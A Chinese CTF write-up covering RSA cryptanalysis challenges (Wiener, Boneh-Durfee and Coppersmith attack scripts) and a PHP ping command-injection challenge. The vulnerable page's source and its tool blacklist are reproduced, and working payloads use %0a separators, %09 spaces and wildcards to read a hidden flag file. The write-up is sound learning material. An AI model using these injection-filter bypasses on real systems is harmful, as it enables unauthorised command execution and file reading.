本次比赛感觉难度挺大的,全程似乎都没有hint,出题人硬是把我给逼成了密码学人
看了半天日文和英文的类似题wp,脑力消耗极大
队伍成绩:615
pt/9
kill/93
名/675
登录/744
报名
个人成绩:350
pt/5
kill/171
名/2252
登录/2798
报名
最后半小时Exposure
这题多了6队killed,这py上分就离谱
Misc
签到 [16pt 634killed]
题目
ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9
WriteUp
一层Base64编码,解码即可。
flag
flag{qq_group_826566040}
Crypto
more_calc [105pt 77killed]
题目
maybe u need more cpu
附件
task.py
import gmpy2
from Crypto.Util.number import *
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
p = getStrongPrime(2048)
s=0
for i in range(1, (p+1)//2):
s += pow(i, p-2, p)
s = s % p
q = gmpy2.next_prime(s)
n = p*q
e = 0x10001
c = pow(bytes_to_long(flag), e, n)
print(p)
print(c)
#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
#350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
WriteUp
观察题目可知,for循环长度极大,几乎不可能算出来。而素数q是由累加的s生成的,累加的关键语句为pow(i, p-2, p)
,这句代码经Google可以找到这篇文章,乘法逆元 - ezoiHY - 博客园,通过这篇文章我们能够知道当p
为素数时,pow(i, p-2)
即等价于求i
的逆元,不过我也不知道逆元是个啥东西,只记得gmpy2.invert
似乎也被叫做求逆元,但这求逆元有两个传参,和上面的应该不是同一个东西,但会有一定关联。
然后就猜如何用gmpy2.invert
来替代这个for循环,首先for循环的结束变量(p+1)//2
应该会用上,然后p
作为逆元的关键素数应该也会用上,那么把for循环用s = gmpy2.invert((p+1)//2, p)
替换试试,结果是乱码的,参数交换一下,还是乱码的。
而这时候我突然想到真正的结束变量应该是(p+1)//2 - 1
才对,用这个值去运行试试,最终在s = gmpy2.invert(p, (p+1)//2-1)
时得到flag。
exp
import gmpy2
from Crypto.Util.number import long_to_bytes
p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
s = gmpy2.invert(p, (p+1)//2-1)
s = s % p # 这句其实没用了
q = gmpy2.next_prime(s)
e = 0x10001
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p*q
c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
m = pow(c,d,n)
print long_to_bytes(m)
flag
flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}
注
gmpy2.invert
的第一个参数应当是余数,即pow
函数的第三个参数,所以这个地方应该是p
,那么实际上下面的s = s % p
已经在函数中就执行过了,可以不用了。
所以这题应该是求快速幂
?
好吧这题就是蒙的,这不是数学系的话根本看不懂啊...
simpleRSA [72pt 120killed]
题目
Familiar and simple rsa
附件
task.py
from Crypto.Util.number import *
import gmpy2
p, q, r = [getPrime(512) for i in range(3)]
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
d = getPrime(256)
e = gmpy2.invert(d , phi)
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
c = pow(bytes_to_long(flag), e, n)
print(e, n)
print(c)
task.txt
1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
WriteUp
这题看到e极大,首先想到Wiener Attack
,但是三素数似乎没法用这种攻击方法,于是就去Google,但是找了好久都没找到能攻击这种情况的,后来换了英文关键词,找到了这篇文章,eshiho's Blog — ASIS CTF Finals 2017 Writeup,里面的Gracias
这题正好和咱们要写的这题的前置条件几乎一样,但是奈何日文看不懂...于是又去找了这场比赛的英文wp,ASIS Finals CTF 2017- Gracias Writeup – masterpessimistaa,舒服了,直接用其脚本解出d,然后正常解RSA就完事。
exp
exp.sage
from sage.all import continued_fraction, Integer
def wiener(e, n):
m = 12345
c = pow(m, e, n)
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
d = int(i.denominator())
m1 = pow(c, d, n)
if m1 == m:
return d
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
print(wiener(e, n))
exp.py
import gmpy2
from Crypto.Util.number import long_to_bytes
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
d = 62314032297209126376762909661659250844217840698984545333474542525611924269199
m = pow(c, d, n)
print "long_to_bytes:", long_to_bytes(m)
flag
flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}
注
这个sage脚本其实还是Wiener Attack
,至于为啥能出结果我也不知道,反正这次题目老玄学了。
英文wp的作者给了另一个变种的Wiener Attack
,应该在正常情况下更靠谱些。
variantWienerAttack.sage
from sage.all import continued_fraction, Integer
def wiener(e, n):
m = 12345
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
return d
q0 = q1
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
print(wiener(e, n))
然后是日文作者的Boneh-Durfee Attack
,应该也比较靠谱。
bonehDurfeeAttack.sage
from sage.all import *
# Original: https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
dimension_min = 7
def remove_unhelpful(BB, monomials, bound, current):
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
for ii in range(current, -1, -1):
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
for jj in range(ii + 1, BB.dimensions()[0]):
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
if affected_vectors == 0:
#print "* removing unhelpful vector", ii
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print "* removing unhelpful vectors", ii, "and", affected_vector_index
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
return BB
def boneh_durfee_small_roots(pol, modulus, mm, tt, XX, YY):
PR.<u, x, y> = PolynomialRing(ZZ)
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()
UU = XX*YY + 1
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift)
monomials.append(u^kk * y^jj)
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0,0
BB = BB.LLL()
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[0, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[1, jj] / monomials[jj](UU,XX,YY)
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
if rr.is_zero() or rr.monomials() == [1]:
print("the two first vectors are not independant")
return 0, 0
rr = rr(q, q)
soly = rr.roots()
if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly
def boneh_durfee(n, e):
delta = RR(0.167) # d ~ n^0.167
m = 5
t = round((1-2*delta) * m)
X = ZZ(2*floor(n^delta))
# we have n = p^2q. so `phi(n) = n + {-(pq+pr+qr) + p+q+r)} - 1`.
# we reconsidered boneh-durfee's attack then we have `x(A+y) + 1 = 0 mod e` where `A = (n-1)`
# and (x, y) = (k, -(pq+pr+qr)+p+q+r).
Y = ZZ(floor(n^(2/3)))
P.<x,y> = PolynomialRing(ZZ)
A = ZZ((n-1)/2)
pol = 1 + x * (A + y)
solx, soly = boneh_durfee_small_roots(pol, e, m, t, X, Y)
print(solx, soly)
if solx > 0:
return int(pol(solx, soly) / e)
return 0
if __name__ == "__main__":
N = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
print(boneh_durfee(N, e))
上面的sage脚本都是python3环境(好吧我这边sage默认python3,不知道咋切换版本,所以就都改成py3的了)
Exposure [127pt 60killed]
题目
Do you know how to rsa?
附件
task.py
from Crypto.Util.number import *
import gmpy2
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
e = 7621
d = gmpy2.invert(e, phi)
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
c = pow(bytes_to_long(flag), e, n)
dp = d % (p - 1)
print(dp >> 200)
print(c, e, n)
task.txt
1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616 7621 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
WriteUp
这题的难点就在于dp
只知道高位部分,而这种已知高位的RSA题目,自然会想到Coppersmith Attack
,但是常见的Coppersmith Attack
都不是针对dp
的,所以正常的攻击脚本不太顶,于是无奈又去Google,以Coppersmith rsa dp ctf
为关键词的时候,找到了某个大佬的wp合集,pcw109550/write-up: CTF write-ups,其中KAPO 2019
这场比赛的Lenstra-Lenstra-Lovasz
这题就有一个描述很nice:Recover dp
by using Coppersmith's attack, and recover p
,这不就是咱相干的事情吗,冲!
把大佬的sage脚本改改,变成适应这题的情况,于是dp
就恢复出来了。
exp
exp.sage
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
secret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
e = 7621
def factorize(e, dp):
for i in range(2, e):
p = (e * dp - 1 + i) // i
if n % p == 0:
return p
return -1
def recover(secret):
F.<x> = PolynomialRing(Zmod(n))
einv = inverse_mod(e, n)
unknownbits = 200 # 本题的丢失低位长度是已知的,所以是确定的200,比大佬的那题简单多了
for k in range(1, e):
print(k) # 因为脚本跑的时间比较长,所以输出一下k来表示脚本没挂
f = (secret << unknownbits) + x + (k - 1) * einv
x0 = f.small_roots(X=2 ** (unknownbits + 1), beta=0.44, epsilon=1/32)
if len(x0) != 0:
dp = x0[0] + (secret << unknownbits)
p_cand = factorize(e, Integer(dp))
if p_cand < 0:
continue
else:
return p_cand, dp
if __name__ == "__main__":
p, dp = recover(secret)
print("----------------")
print(dp)
exp.py
import gmpy2
from Crypto.Util.number import long_to_bytes
dp = 1853919354702665195692482141762443672110816395551769087719458890222297289161650213465263131874573003123893764012485956082575872070596774063510315574817225
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
e = 7621
c = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
for i in range(1, e + 1):
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) / i) + 1)==0:
p = ((dp * e - 1) / i) + 1
q = n / (((dp * e - 1) / i) + 1)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi) # % phi
m = pow(c, d, n)
print "long_to_bytes:", long_to_bytes(m)
flag
flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}
Web
Command [30pt 324killed]
题目:
还是原来的ping?
题目核心源码
源码是拿命令透出来的,题目没给。留着方便以后出题
index.php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
<title>PING</title>
<link href="style.css?t=<?php echo date("1"); ?>" rel="stylesheet">
<link rel="stylesheet" href="style2.css">
</head>
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|*|{)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
}
?>
<body>
<div id="content">
<div class="con">
<div class="shlogo"></div>
<div class="sou">
<div class="font_div">
<i style="font-size: 50px;" class="iconfont icon-sousuo"></i>ping
</div>
<form action="" method="get" target="_self">
<input class="wd" type="text" placeholder="IP:" name="url" x-webkit-speech lang="zh-CN">
</br>
<button><i style="font-size: 15px;" class="iconfont icon-sousuo"></i>ping</button>
</br>
</br>
<strong> Result:<?php
print_r($a);
?><strong>
</form>
</div>
</div>
</div>
</body>
</html>
WriteUp
比赛的几天前正好给校实验室出了个ping命令执行的内部训练题,这就碰上了,正好手热。
%0a
当命令分隔符,测试ls
命令,成功回显当前网站目录的文件列表。
因为是get传参,所以空格
当参数分隔符就不太好用了,于是得用%09
。
cat
被ban了,于是得用/bin/ca?
。
然后去根目录看了一下,发现有个启动mysql的脚本,于是猜测flag在数据库里,但是数据库密码又是随机生成的,于是就陷入死胡同了。
过了一会,隔壁CTFShow
群里有大佬在/etc
里发现了隐藏文件的flag...这他妈的,原来是个遍历题?
payload
?url=127.0.0.1%0als%09-A
,扫描本目录,没发现flag。
?url=127.0.0.1%0als%09/%09-A
,扫描根目录,没发现flag。
?url=127.0.0.1%0als%09/etc%09-A
,扫描/etc
目录,发现隐藏文件夹.findflag
。
?url=127.0.0.1%0als%09/etc/.findflag%09-A
,扫描/etc/.findflag
目录,发现flag
被ban了。
?url=127.0.0.1%0als%09/etc/.findfla?%09-A
,扫描/etc/.findflag
目录,发现flag.txt
文件。
?url=127.0.0.1%0a/bin/ca?%09/etc/.findfla?/fla?.txt
,读取/etc/.findflag/flag.txt
文件,得到flag。
flag
flag{3434745e-09ae-4530-98f4-5daaa00a76c4}
注
发送payload一定要用专业的发包工具,不然可能会因为%
字符被二次编码导致发送了错误的payload而且还发现不了。
比如浏览器插件postman
似乎就会对%
字符二次编码,不确定是浏览器的锅还是插件作者的锅。(反正先解码一次肯定能解决,那就是作者不重视这个问题的锅了)
我用的是Fiddler,没出现二次编码的问题。
关于二次编码:客户端前端%0a
->客户端后端%0a
编码为%250a
->服务器Web程序[Apache/Nginx]%250a
解码为%0a
->服务器解释程序[PHP]%0a
。
可以发现,如果在php中,网站作者不进行urldecode
的话,那就会当作%0a
这三个字符处理。
底层发包:客户端前端%0a
->客户端后端%0a
->服务器Web程序[Apache/Nginx]%0a
解码为0a
代表的char字符n
->服务器解释程序[PHP]0a
代表的char字符n
。
可以发现,由于客户端后端没有进行二次编码,那么最终php收到的就是一个字符n
,于是就可以达到预期目的。